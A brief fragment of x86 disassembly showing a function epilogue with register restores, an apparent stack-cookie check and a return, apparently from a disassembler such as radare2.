mov dword [ebx + 0x118], eax
mov eax, ecx
mov ecx, dword [esp + 0x118]
pop esi
pop ebx
xor ecx, esp
call fcn.006376f4
add esp, 0x114
ret 8